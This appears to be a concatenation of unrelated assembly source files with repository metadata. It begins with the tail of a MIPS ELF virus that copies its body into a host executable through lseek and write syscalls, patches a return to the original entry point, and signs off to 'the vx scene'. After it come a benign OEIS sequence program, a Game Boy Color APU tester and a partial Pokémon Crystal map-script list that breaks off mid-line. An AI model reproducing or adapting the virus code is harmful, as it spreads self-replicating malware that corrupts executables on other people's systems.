li $t3, 0x21290001 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x214a0001 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x29010615 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x1420fff8 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x00000000 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x00400008 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x00000000 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x03e00008 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x03e04825 sw $t3, 0($t2) addi $t2, $t2, 4 # ---- the code to hardcode ---- # 0411fff5 bal get_pc # 00000000 nop # 2129fc70 addi t1, t1, -0x390 # 3401dead ori at, zero, 0xdead # 01214822 sub t1, t1, at # 2129beef addi t1, t1, -0x4111 # 0060e825 move sp, v1 # 01200008 jr t1 # ------------------------------ # here we're writting the code to ret2OEP despite the PIE li $t3, 0x0411fffd sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x00000000 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x2129ff8c sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x3401 sh $t3, 0($t2) addi $t2, $t2, 2 move $t3, $s6 sh $t3, 0($t2) addi $t2, $t2, 2 li $t3, 0x01214822 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x2129 sh $t3, 0($t2) addi $t2, $t2, 2 move $t3, $s7 sh $t3, 0($t2) addi $t2, $t2, 2 li $t3, 0x0060e825 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x01200008 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x00000000 sw $t3, 0($t2) addi $t2, $t2, 4 nop xor $v0, $t2, 0xdead # thanks to the aslr, t2 is random \o/ so we use it as a seed to randomize the bytes which make the false disassembly move $t3, $v0 # (this technique of "polymorphic" false-disassembly is useless in mips (because in mips sw $t3, 0($t2) # every instruction is made of the same number of bytes (which is 4)), but can be interesting in other architectures) addi $t2, $t2, 3 # (I'm writting a paper on this... ;)) bgezal $zero, get_pc_2 sub $t1, $t1, 0x530 # 0x530 = the number of bytes before this routine in the virus body .get_vx_2: lb $t3, 0($t1) sb $t3, 0($t2) addi $t0, $t0, 1 addi $t1, $t1, 1 addi $t2, $t2, 1 blt $t0, 0x615, .get_vx_2 # 0x611 = the size of the virus body move $ra, $t7 move $a0, $s4 lw $a1, 0x20($s5) li $a2, 0 # SEEK_SET li $v0, 4019 # sys_lseek syscall # here, we seek after the future vx code move $a0, $s4 lw $t0, 0x20($s5) sub $t0, $t0, 4096 add $a1, $s5, $t0 move $a2, $t9 sub $a2, $a2, $t0 # len of host - text_end = length of the end of the file li $v0, 4004 # sys_write syscall move $a0, $s4 move $a1, $s6 li $a2, 0 # SEEK_SET li $v0, 4019 # sys_lseek syscall move $a0, $s4 move $a1, $sp li $a2, 4096 # len = PAGE_SZ32 li $v0, 4004 # sys_write syscall move $a0, $s5 move $a1, $t9 li $a2, 0 li $v0, 4091 syscall # sys_munmap end: move $a0, $s4 li $v0, 4006 # sys_close syscall move $sp, $s3 jr $ra get_pc_2: move $t1, $ra jr $ra payload: li $a0, 0 li $t0, 0x585f580a # X_X sw $t0, 0($sp) move $a1, $sp li $a2, 4 li $v0, 4004 # sys_write syscall jr $gp # - end of the virus body - # # ---------------------------- CUT-HERE ---------------------------- # ___________ __ # \__ ___/____ ______ ____ __ ___/ |_ # | | / \\____ \ / _ \| | \ __\ # | || Y Y \ |_> > ( <_> ) | /| | # |____||__|_| / __/ /\ \____/|____/ |__| # \/|__| \/ # # --> Stay tuned... # Greetz to: Sblip, Okb, TMZ # Long live to the vx scene ! # Siamo tutti antifascisti
29.998322
149
0.531294
4793af264ab788846c5b5f9fd213e7523d023c95
355
asm
Assembly
programs/oeis/167/A167021.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/167/A167021.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/167/A167021.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A167021: a(n) = 1 iff 6n+1 is prime. ; 1,1,1,0,1,1,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,1,0,1,1,1,0,0,1,0,1,1,0,1,0,1,1,0,1,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,0,0,1,1,1,0,0,1,0,1,0,1,0,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1 add $0,1 mul $0,6 cal $0,10051 ; Characteristic function of primes: 1 if n is prime, else 0. mov $1,$0
44.375
211
0.557746
592965369e700297d3207e516f4dd9b592d828e5
9,560
asm
Assembly
src/apu_test.asm
jbshelton/CGB_APU_Tester
c544685903a6eb163906667b4ae8d0157670c918
[ "MIT" ]
null
null
null
src/apu_test.asm
jbshelton/CGB_APU_Tester
c544685903a6eb163906667b4ae8d0157670c918
[ "MIT" ]
null
null
null
src/apu_test.asm
jbshelton/CGB_APU_Tester
c544685903a6eb163906667b4ae8d0157670c918
[ "MIT" ]
null
null
null
; CGB APU tester Copyright (C) 2021 Jackson Shelton <jacksonshelton8@gmail.com> ; MGBLIB Copyright (C) 2020 Matt Currie <me@mattcurrie.com> ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in ; all copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ; SOFTWARE. IF (__RGBDS_MAJOR__ == 0 && (__RGBDS_MINOR__ < 4 || (__RGBDS_MINOR__ == 4 && __RGBDS_PATCH__ < 2))) FAIL "Requires RGBDS v0.4.2+" ENDC SECTION "lib", ROMX INCLUDE "mgblib/src/hardware.inc" INCLUDE "mgblib/src/macros.asm" enable_cgb_mode INCLUDE "mgblib/src/old_skool_outline_thick.asm" INCLUDE "mgblib/src/display.asm" INCLUDE "mgblib/src/print.asm" INCLUDE "mgblib/src/misc/delay.asm" SECTION "boot", ROM0[$100] nop jp main SECTION "header", ROM0[$104] ds $143-@, $0 SECTION "header-remainder", ROM0[$144] ds $150-@, $0 SECTION "main", ROM0[$150] main:: di ld sp, $cfff call ResetDisplay call ResetCursor call LoadFont print_string_literal "APU misc tests\n" test_length_counter:: ld hl, rNR52 ld d, 63 ld b, 4 ld c, $80 ld e, 0 xor a ldh [rTAC], a ldh [rTIMA], a .length_test_loop: ; reset APU xor a ldh [rTIMA], a ldh [rDIV], a ld [hl], a cpl ld [hl], a ; set sound length to value in D to test certain step of frame sequencer ld a, d ldh [rNR11], a ; trigger with length enabled ld a, $C0 ldh [rNR12], a ldh [rNR14], a ld a, %00000101 ldh [rTAC], a .test_length_enable: ld a, [hl] cp $f0 jr nz, .test_length_enable xor a ldh [rTAC], a ldh a, [rTIMA] ldh [c], a inc c ldh a, [rDIV] ldh [c], a inc c dec d dec b jr nz, .length_test_loop ; jp print_length test_volume_envelope:: xor a ld e, a ldh [rTMA], a ldh [rTIMA], a ldh [rDIV], a ld [hl], a cpl ld [hl], a ld a, $10 ldh [rNR12], a ; trigger with length disabled ld a, $80 ldh [rNR14], a .wait_high: ldh a, [rPCM12] and $0f jr z, .wait_high ldh [rDIV], a ld a, $11 ldh [rNR12], a ld a, $80 ldh [rNR14], a ld a, %00000101 ldh [rTAC], a .test_env_enable: ldh a, [rPCM12] and $0f jr nz, .test_env_enable xor a ldh [rTAC], a ldh a, [rTIMA] ldh [c], a inc c ldh a, [rDIV] ldh [c], a inc c test_frequency_sweep:: ld d, 1 ld b, 2 ld e, 0 xor a ldh [rTAC], a .sweep_test_loop: xor a ldh [rTIMA], a ldh [rDIV], a ld [hl], a cpl ld [hl], a ; set frequency to max ld a, $ff ldh [rNR13], a and $f0 ldh [rNR12], a ; configure sweep (addition, no sweep shift) ld a, d rla rla rla rla ldh [rNR10], a ld a, $87 ldh [rNR14], a ld a, %00000101 ldh [rTAC], a .test_sweep_enable: ld a, [hl] cp $f0 jr nz, .test_sweep_enable xor a ldh [rTAC], a ldh a, [rTIMA] ldh [c], a inc c ldh a, [rDIV] ldh [c], a inc c inc d dec b jr nz, .sweep_test_loop pulse_width_test:: xor a ldh [$B0], a ld a, 4 ldh [$B1], a .pulse_test_loop: xor a ld e, a ld b, a ld d, a ld [hl], a cpl ld [hl], a ; wait takes 36 cycles to complete ; (4194304/36 = 116508.4444Hz) ; pulse needs to be 14563.5556Hz for read to work ; 4194304/288, 524288/36, 131072/9 (2048 - 2039) ($x7 $F7) ; max noise can tick is 524288Hz ; = 8 single speed cycles, 16 double speed cycles ; 13 ticks are required until noise first goes high in 7 bit mode ; = 104 single speed cycles, 208 double speed cycles ldh a, [$B0] rrca rrca and $C0 ldh [rNR11], a ldh a, [$B0] inc a ldh [$B0], a ld a, $F7 ldh [rNR13], a ld a, $F0 ldh [rNR12], a ; trigger with length disabled ld a, $87 ldh [rNR14], a .wait_high: ldh a, [rPCM12] inc e and $0f jr z, .wait_high nop .wait_low: ldh a, [rPCM12] inc b and $0f jr nz, .wait_low nop .wait_high_end: ldh a, [rPCM12] inc d and $0f jr z, .wait_high_end ld a, e ldh [c], a inc c ld a, b ldh [c], a inc c ld a, d ldh [c], a inc c ldh a, [$B1] dec a ldh [$B1], a jp nz, .pulse_test_loop noise_lfsr_test:: xor a ld e, a ld [hl], a cpl ld [hl], a ; needs to be 65536Hz ; ratio: 1 ; divider: 8 ld b, $f0 ld a, $f0 ldh [rNR42], a ld a, $02 ;1048576/2^2+1 131072Hz 8 NOPs per tick ldh [rNR43], a ld a, $80 ldh [rNR44], a .lfsr_15_loop: ldh a, [rPCM34] inc e and b jr z, .lfsr_15_loop ;reads on the 3rd NOP ld a, e ldh [c], a inc c ld e, $00 ld a, $0A ldh [rNR43], a ld a, $80 ldh [rNR44], a .lfsr_7_loop: ldh a, [rPCM34] inc e and b jr z, .lfsr_7_loop ld a, e ldh [c], a ; now print the results print_length:: print_string_literal "\nLength ticks:\n" ldh a, [$80] call PrintHexU8NoDollar ld a, " " call PrintCharacter ldh a, [$81] call PrintHexU8NoDollar ld a, "," call PrintCharacter ld a, " " call PrintCharacter ldh a, [$82] call PrintHexU8NoDollar ld a, " " call PrintCharacter ldh a, [$83] call PrintHexU8NoDollar ld a, "," call PrintCharacter ld a, " " call PrintCharacter ldh a, [$84] call PrintHexU8NoDollar ld a, " " call PrintCharacter ldh a, [$85] call PrintHexU8NoDollar ld a, "\n" call PrintCharacter ldh a, [$86] call PrintHexU8NoDollar ld a, " " call PrintCharacter ldh a, [$87] call PrintHexU8NoDollar print_string_literal "\n" ; jp done print_volume:: print_string_literal "Volume ticks:\n" ldh a, [$88] call PrintHexU8NoDollar ld a, " " call PrintCharacter ldh a, [$89] call PrintHexU8NoDollar print_string_literal "\n\n" ; jp done print_sweep:: print_string_literal "Sweep ticks:\n" ldh a, [$8A] call PrintHexU8NoDollar ld a, " " call PrintCharacter ldh a, [$8B] call PrintHexU8NoDollar ld a, "," call PrintCharacter ld a, " " call PrintCharacter ldh a, [$8C] call PrintHexU8NoDollar ld a, " " call PrintCharacter ldh a, [$8D] call PrintHexU8NoDollar print_string_literal "\n" ; jp done print_pulse:: print_string_literal "Pulse phase reads:\n" print_string_literal "12.5%: " ldh a, [$8E] call PrintDecimal ld a, " " call PrintCharacter ldh a, [$8F] call PrintDecimal ld a, " " call PrintCharacter ldh a, [$90] call PrintDecimal ld a, "\n" call PrintCharacter print_string_literal "25% : " ldh a, [$91] call PrintDecimal ld a, " " call PrintCharacter ldh a, [$92] call PrintDecimal ld a, " " call PrintCharacter ldh a, [$93] call PrintDecimal ld a, "\n" call PrintCharacter print_string_literal "50% : " ldh a, [$94] call PrintDecimal ld a, " " call PrintCharacter ldh a, [$95] call PrintDecimal ld a, " " call PrintCharacter ldh a, [$96] call PrintDecimal ld a, "\n" call PrintCharacter print_string_literal "75% : " ldh a, [$97] call PrintDecimal ld a, " " call PrintCharacter ldh a, [$98] call PrintDecimal ld a, " " call PrintCharacter ldh a, [$99] call PrintDecimal ld a, "\n" call PrintCharacter ; pulse table from this test: ; 12.5%: n_______# (1 stall tick, 7 ticks low, 1 tick high) ; 25% : nn______## (2 stall ticks, 6 ticks low, 2 ticks high) ; 50% : nn____#### (2 stall ticks, 4 ticks low, 4 ticks high) ; 75% : __###### (0 stall ticks, 2 ticks low, 6 ticks high) ; pulse table, assume all widths are delayed by 2 ticks: ; 12.5%: nn______#_ (2 stall ticks, 6 ticks low, 1 tick high, 1 tick low) ; 25% : nn______## (2 stall ticks, 6 ticks low, 2 ticks high) ; 50% : nn____#### (2 stall ticks, 4 ticks low, 4 ticks high) ; 75% : nn######__ (2 stall ticks, 6 ticks high, 2 ticks low) print_noise:: print_string_literal "Noise ticks 15/7:\n" ldh a, [$9A] call PrintDecimal ld a, " " call PrintCharacter ld a, "/" call PrintCharacter ld a, " " call PrintCharacter ldh a, [$9B] call PrintDecimal done:: lcd_on .forever: jr .forever
19.87526
99
0.584205
49069cb8e8c24ed51d83bcc16ebb9cedd2daa929
14,825
asm
Assembly
data/maps/scripts.asm
Ebernacher90/pokecrystal-allworld
5d623c760e936842cf92563912c5bd64dd69baef
[ "blessing" ]
null
null
null
data/maps/scripts.asm
Ebernacher90/pokecrystal-allworld
5d623c760e936842cf92563912c5bd64dd69baef
[ "blessing" ]
null
null
null
data/maps/scripts.asm
Ebernacher90/pokecrystal-allworld
5d623c760e936842cf92563912c5bd64dd69baef
[ "blessing" ]
null
null
null
SECTION "Map Scripts 1", ROMX INCLUDE "maps/GoldenrodGym.asm" INCLUDE "maps/GoldenrodBikeShop.asm" INCLUDE "maps/GoldenrodHappinessRater.asm" INCLUDE "maps/BillsFamilysHouse.asm" INCLUDE "maps/GoldenrodMagnetTrainStation.asm" INCLUDE "maps/GoldenrodFlowerShop.asm" INCLUDE "maps/GoldenrodPPSpeechHouse.asm" INCLUDE "maps/GoldenrodNameRater.asm" INCLUDE "maps/GoldenrodDeptStore1F.asm" INCLUDE "maps/GoldenrodDeptStore2F.asm" INCLUDE "maps/GoldenrodDeptStore3F.asm" INCLUDE "maps/GoldenrodDeptStore4F.asm" INCLUDE "maps/GoldenrodDeptStore5F.asm" INCLUDE "maps/GoldenrodDeptStore6F.asm" INCLUDE "maps/GoldenrodDeptStoreElevator.asm" INCLUDE "maps/GoldenrodDeptStoreRoof.asm" INCLUDE "maps/GoldenrodGameCorner.asm" SECTION "Map Scripts 2", ROMX INCLUDE "maps/RuinsOfAlphOutside.asm" INCLUDE "maps/RuinsOfAlphHoOhChamber.asm" INCLUDE "maps/RuinsOfAlphKabutoChamber.asm" INCLUDE "maps/RuinsOfAlphOmanyteChamber.asm" INCLUDE "maps/RuinsOfAlphAerodactylChamber.asm" INCLUDE "maps/RuinsOfAlphInnerChamber.asm" INCLUDE "maps/RuinsOfAlphResearchCenter.asm" INCLUDE "maps/RuinsOfAlphHoOhItemRoom.asm" INCLUDE "maps/RuinsOfAlphKabutoItemRoom.asm" INCLUDE "maps/RuinsOfAlphOmanyteItemRoom.asm" INCLUDE "maps/RuinsOfAlphAerodactylItemRoom.asm" INCLUDE "maps/RuinsOfAlphHoOhWordRoom.asm" INCLUDE "maps/RuinsOfAlphKabutoWordRoom.asm" INCLUDE "maps/RuinsOfAlphOmanyteWordRoom.asm" INCLUDE "maps/RuinsOfAlphAerodactylWordRoom.asm" INCLUDE "maps/UnionCave1F.asm" INCLUDE "maps/UnionCaveB1F.asm" INCLUDE "maps/UnionCaveB2F.asm" INCLUDE "maps/SlowpokeWellB1F.asm" INCLUDE "maps/SlowpokeWellB2F.asm" INCLUDE "maps/OlivineLighthouse1F.asm" INCLUDE "maps/OlivineLighthouse2F.asm" INCLUDE "maps/OlivineLighthouse3F.asm" INCLUDE "maps/OlivineLighthouse4F.asm" SECTION "Map Scripts 3", ROMX INCLUDE "maps/NationalPark.asm" INCLUDE "maps/NationalParkBugContest.asm" INCLUDE "maps/RadioTower1F.asm" INCLUDE "maps/RadioTower2F.asm" INCLUDE "maps/RadioTower3F.asm" INCLUDE "maps/RadioTower4F.asm" SECTION "Map Scripts 4", ROMX INCLUDE "maps/RadioTower5F.asm" INCLUDE "maps/OlivineLighthouse5F.asm" INCLUDE "maps/OlivineLighthouse6F.asm" INCLUDE "maps/GoldenrodPokecenter1F.asm" INCLUDE "maps/PokecomCenterAdminOfficeMobile.asm" INCLUDE "maps/IlexForestAzaleaGate.asm" INCLUDE "maps/Route34IlexForestGate.asm" INCLUDE "maps/DayCare.asm" SECTION "Map Scripts 5", ROMX INCLUDE "maps/Route11.asm" INCLUDE "maps/VioletMart.asm" INCLUDE "maps/VioletGym.asm" INCLUDE "maps/EarlsPokemonAcademy.asm" INCLUDE "maps/VioletNicknameSpeechHouse.asm" INCLUDE "maps/VioletPokecenter1F.asm" INCLUDE "maps/VioletKylesHouse.asm" INCLUDE "maps/Route32RuinsOfAlphGate.asm" INCLUDE "maps/Route32Pokecenter1F.asm" INCLUDE "maps/Route35GoldenrodGate.asm" INCLUDE "maps/Route35NationalParkGate.asm" INCLUDE "maps/Route36RuinsOfAlphGate.asm" INCLUDE "maps/Route36NationalParkGate.asm" SECTION "Map Scripts 6", ROMX INCLUDE "maps/Route8.asm" INCLUDE "maps/MahoganyMart1F.asm" INCLUDE "maps/TeamRocketBaseB1F.asm" INCLUDE "maps/TeamRocketBaseB2F.asm" INCLUDE "maps/TeamRocketBaseB3F.asm" INCLUDE "maps/IlexForest.asm" SECTION "Map Scripts 7", ROMX INCLUDE "maps/LakeOfRage.asm" INCLUDE "maps/CeladonDeptStore1F.asm" INCLUDE "maps/CeladonDeptStore2F.asm" INCLUDE "maps/CeladonDeptStore3F.asm" INCLUDE "maps/CeladonDeptStore4F.asm" INCLUDE "maps/CeladonDeptStore5F.asm" INCLUDE "maps/CeladonDeptStore6F.asm" INCLUDE "maps/CeladonDeptStoreElevator.asm" INCLUDE "maps/CeladonMansion1F.asm" INCLUDE "maps/CeladonMansion2F.asm" INCLUDE "maps/CeladonMansion3F.asm" INCLUDE "maps/CeladonMansionRoof.asm" INCLUDE "maps/CeladonMansionRoofHouse.asm" INCLUDE "maps/CeladonPokecenter1F.asm" INCLUDE "maps/CeladonPokecenter2FBeta.asm" INCLUDE "maps/CeladonGameCorner.asm" INCLUDE "maps/CeladonGameCornerPrizeRoom.asm" INCLUDE "maps/CeladonGym.asm" INCLUDE "maps/CeladonCafe.asm" INCLUDE "maps/Route16FuchsiaSpeechHouse.asm" INCLUDE "maps/Route16Gate.asm" INCLUDE "maps/Route7SaffronGate.asm" INCLUDE "maps/Route17Route18Gate.asm" SECTION "Map Scripts 8", ROMX INCLUDE "maps/DiglettsCave.asm" INCLUDE "maps/MountMoon.asm" INCLUDE "maps/UndergroundPath.asm" INCLUDE "maps/RockTunnel1F.asm" INCLUDE "maps/RockTunnelB1F.asm" INCLUDE "maps/SafariZoneFuchsiaGateBeta.asm" INCLUDE "maps/SafariZoneBeta.asm" INCLUDE "maps/VictoryRoad.asm" INCLUDE "maps/OlivinePort.asm" INCLUDE "maps/VermilionPort.asm" INCLUDE "maps/FastShip1F.asm" INCLUDE "maps/FastShipCabins_NNW_NNE_NE.asm" INCLUDE "maps/FastShipCabins_SW_SSW_NW.asm" INCLUDE "maps/FastShipCabins_SE_SSE_CaptainsCabin.asm" INCLUDE "maps/FastShipB1F.asm" INCLUDE "maps/OlivinePortPassage.asm" INCLUDE "maps/VermilionPortPassage.asm" INCLUDE "maps/MountMoonSquare.asm" INCLUDE "maps/MountMoonGiftShop.asm" INCLUDE "maps/TinTowerRoof.asm" SECTION "Map Scripts 9", ROMX INCLUDE "maps/Route34.asm" INCLUDE "maps/ElmsLab.asm" INCLUDE "maps/PlayersHouse1F.asm" INCLUDE "maps/PlayersHouse2F.asm" INCLUDE "maps/PlayersNeighborsHouse.asm" INCLUDE "maps/ElmsHouse.asm" INCLUDE "maps/Route26HealHouse.asm" INCLUDE "maps/DayOfWeekSiblingsHouse.asm" INCLUDE "maps/Route27SandstormHouse.asm" INCLUDE "maps/Route29Route46Gate.asm" SECTION "Map Scripts 10", ROMX INCLUDE "maps/Route22.asm" INCLUDE "maps/GoldenrodUnderground.asm" INCLUDE "maps/GoldenrodUndergroundSwitchRoomEntrances.asm" INCLUDE "maps/GoldenrodDeptStoreB1F.asm" INCLUDE "maps/GoldenrodUndergroundWarehouse.asm" INCLUDE "maps/MountMortar1FOutside.asm" INCLUDE "maps/MountMortar1FInside.asm" INCLUDE "maps/MountMortar2FInside.asm" INCLUDE "maps/MountMortarB1F.asm" INCLUDE "maps/IcePath1F.asm" INCLUDE "maps/IcePathB1F.asm" INCLUDE "maps/IcePathB2FMahoganySide.asm" INCLUDE "maps/IcePathB2FBlackthornSide.asm" INCLUDE "maps/IcePathB3F.asm" INCLUDE "maps/LavenderPokecenter1F.asm" INCLUDE "maps/LavenderPokecenter2FBeta.asm" INCLUDE "maps/MrFujisHouse.asm" INCLUDE "maps/LavenderSpeechHouse.asm" INCLUDE "maps/LavenderNameRater.asm" INCLUDE "maps/LavenderMart.asm" INCLUDE "maps/SoulHouse.asm" INCLUDE "maps/LavRadioTower1F.asm" INCLUDE "maps/Route8SaffronGate.asm" INCLUDE "maps/Route12SuperRodHouse.asm" SECTION "Map Scripts 11", ROMX INCLUDE "maps/EcruteakTinTowerEntrance.asm" INCLUDE "maps/WiseTriosRoom.asm" INCLUDE "maps/EcruteakPokecenter1F.asm" INCLUDE "maps/EcruteakLugiaSpeechHouse.asm" INCLUDE "maps/DanceTheatre.asm" INCLUDE "maps/EcruteakMart.asm" INCLUDE "maps/EcruteakGym.asm" INCLUDE "maps/EcruteakItemfinderHouse.asm" INCLUDE "maps/ViridianGym.asm" INCLUDE "maps/ViridianNicknameSpeechHouse.asm" INCLUDE "maps/TrainerHouse1F.asm" INCLUDE "maps/TrainerHouseB1F.asm" INCLUDE "maps/ViridianMart.asm" INCLUDE "maps/ViridianPokecenter1F.asm" INCLUDE "maps/ViridianPokecenter2FBeta.asm" INCLUDE "maps/Route2NuggetHouse.asm" INCLUDE "maps/Route2Gate.asm" INCLUDE "maps/VictoryRoadGate.asm" SECTION "Map Scripts 12", ROMX INCLUDE "maps/OlivinePokecenter1F.asm" INCLUDE "maps/OlivineGym.asm" INCLUDE "maps/OlivineTimsHouse.asm" INCLUDE "maps/OlivineHouseBeta.asm" INCLUDE "maps/OlivinePunishmentSpeechHouse.asm" INCLUDE "maps/OlivineGoodRodHouse.asm" INCLUDE "maps/OlivineCafe.asm" INCLUDE "maps/OlivineMart.asm" INCLUDE "maps/Route38EcruteakGate.asm" INCLUDE "maps/Route39Barn.asm" INCLUDE "maps/Route39Farmhouse.asm" INCLUDE "maps/ManiasHouse.asm" INCLUDE "maps/CianwoodGym.asm" INCLUDE "maps/CianwoodPokecenter1F.asm" INCLUDE "maps/CianwoodPharmacy.asm" INCLUDE "maps/CianwoodPhotoStudio.asm" INCLUDE "maps/CianwoodLugiaSpeechHouse.asm" INCLUDE "maps/PokeSeersHouse.asm" INCLUDE "maps/BattleTower1F.asm" INCLUDE "maps/BattleTowerBattleRoom.asm" INCLUDE "maps/BattleTowerElevator.asm" INCLUDE "maps/BattleTowerHallway.asm" INCLUDE "maps/Route40BattleTowerGate.asm" INCLUDE "maps/BattleTowerOutside.asm" SECTION "Map Scripts 13", ROMX INCLUDE "maps/IndigoPlateauPokecenter1F.asm" INCLUDE "maps/WillsRoom.asm" INCLUDE "maps/KogasRoom.asm" INCLUDE "maps/BrunosRoom.asm" INCLUDE "maps/KarensRoom.asm" INCLUDE "maps/LancesRoom.asm" INCLUDE "maps/HallOfFame.asm" SECTION "Map Scripts 14", ROMX INCLUDE "maps/CeruleanCity.asm" INCLUDE "maps/SproutTower1F.asm" INCLUDE "maps/SproutTower2F.asm" INCLUDE "maps/SproutTower3F.asm" INCLUDE "maps/TinTower1F.asm" INCLUDE "maps/TinTower2F.asm" INCLUDE "maps/TinTower3F.asm" INCLUDE "maps/TinTower4F.asm" INCLUDE "maps/TinTower5F.asm" INCLUDE "maps/TinTower6F.asm" INCLUDE "maps/TinTower7F.asm" INCLUDE "maps/TinTower8F.asm" INCLUDE "maps/TinTower9F.asm" INCLUDE "maps/BurnedTower1F.asm" INCLUDE "maps/BurnedTowerB1F.asm" SECTION "Map Scripts 15", ROMX INCLUDE "maps/CeruleanGymBadgeSpeechHouse.asm" INCLUDE "maps/CeruleanPoliceStation.asm" INCLUDE "maps/CeruleanTradeSpeechHouse.asm" INCLUDE "maps/CeruleanPokecenter1F.asm" INCLUDE "maps/CeruleanPokecenter2FBeta.asm" INCLUDE "maps/CeruleanGym.asm" INCLUDE "maps/CeruleanMart.asm" INCLUDE "maps/Route10Pokecenter1F.asm" INCLUDE "maps/Route10Pokecenter2FBeta.asm" INCLUDE "maps/PowerPlant.asm" INCLUDE "maps/BillsHouse.asm" INCLUDE "maps/FightingDojo.asm" INCLUDE "maps/SaffronGym.asm" INCLUDE "maps/SaffronMart.asm" INCLUDE "maps/SaffronPokecenter1F.asm" INCLUDE "maps/SaffronPokecenter2FBeta.asm" INCLUDE "maps/MrPsychicsHouse.asm" INCLUDE "maps/SaffronMagnetTrainStation.asm" INCLUDE "maps/SilphCo1F.asm" INCLUDE "maps/CopycatsHouse1F.asm" INCLUDE "maps/CopycatsHouse2F.asm" INCLUDE "maps/Route5UndergroundPathEntrance.asm" INCLUDE "maps/Route5SaffronGate.asm" INCLUDE "maps/Route5CleanseTagHouse.asm" SECTION "Map Scripts 16", ROMX INCLUDE "maps/PewterCity.asm" INCLUDE "maps/WhirlIslandNW.asm" INCLUDE "maps/WhirlIslandNE.asm" INCLUDE "maps/WhirlIslandSW.asm" INCLUDE "maps/WhirlIslandCave.asm" INCLUDE "maps/WhirlIslandSE.asm" INCLUDE "maps/WhirlIslandB1F.asm" INCLUDE "maps/WhirlIslandB2F.asm" INCLUDE "maps/WhirlIslandLugiaChamber.asm" INCLUDE "maps/SilverCaveRoom1.asm" INCLUDE "maps/SilverCaveRoom2.asm" INCLUDE "maps/SilverCaveRoom3.asm" INCLUDE "maps/SilverCaveItemRooms.asm" INCLUDE "maps/DarkCaveVioletEntrance.asm" INCLUDE "maps/DarkCaveBlackthornEntrance.asm" INCLUDE "maps/DragonsDen1F.asm" INCLUDE "maps/DragonsDenB1F.asm" INCLUDE "maps/DragonShrine.asm" INCLUDE "maps/TohjoFalls.asm" INCLUDE "maps/AzaleaPokecenter1F.asm" INCLUDE "maps/CharcoalKiln.asm" INCLUDE "maps/AzaleaMart.asm" INCLUDE "maps/KurtsHouse.asm" INCLUDE "maps/AzaleaGym.asm" SECTION "Map Scripts 17", ROMX INCLUDE "maps/MahoganyTown.asm" INCLUDE "maps/Route32.asm" INCLUDE "maps/VermilionFishingSpeechHouse.asm" INCLUDE "maps/VermilionPokecenter1F.asm" INCLUDE "maps/VermilionPokecenter2FBeta.asm" INCLUDE "maps/PokemonFanClub.asm" INCLUDE "maps/VermilionMagnetTrainSpeechHouse.asm" INCLUDE "maps/VermilionMart.asm" INCLUDE "maps/VermilionDiglettsCaveSpeechHouse.asm" INCLUDE "maps/VermilionGym.asm" INCLUDE "maps/Route6SaffronGate.asm" INCLUDE "maps/Route6UndergroundPathEntrance.asm" INCLUDE "maps/Pokecenter2F.asm" INCLUDE "maps/TradeCenter.asm" INCLUDE "maps/Colosseum.asm" INCLUDE "maps/TimeCapsule.asm" INCLUDE "maps/MobileTradeRoom.asm" INCLUDE "maps/MobileBattleRoom.asm" SECTION "Map Scripts 18", ROMX INCLUDE "maps/Route36.asm" INCLUDE "maps/FuchsiaCity.asm" INCLUDE "maps/BlackthornGym1F.asm" INCLUDE "maps/BlackthornGym2F.asm" INCLUDE "maps/BlackthornDragonSpeechHouse.asm" INCLUDE "maps/BlackthornEmysHouse.asm" INCLUDE "maps/BlackthornMart.asm" INCLUDE "maps/BlackthornPokecenter1F.asm" INCLUDE "maps/MoveDeletersHouse.asm" INCLUDE "maps/FuchsiaMart.asm" INCLUDE "maps/SafariZoneMainOffice.asm" INCLUDE "maps/FuchsiaGym.asm" INCLUDE "maps/BillsBrothersHouse.asm" INCLUDE "maps/FuchsiaPokecenter1F.asm" INCLUDE "maps/FuchsiaPokecenter2FBeta.asm" INCLUDE "maps/SafariZoneWardensHome.asm" INCLUDE "maps/Route15FuchsiaGate.asm" INCLUDE "maps/CherrygroveMart.asm" INCLUDE "maps/CherrygrovePokecenter1F.asm" INCLUDE "maps/CherrygroveGymSpeechHouse.asm" INCLUDE "maps/GuideGentsHouse.asm" INCLUDE 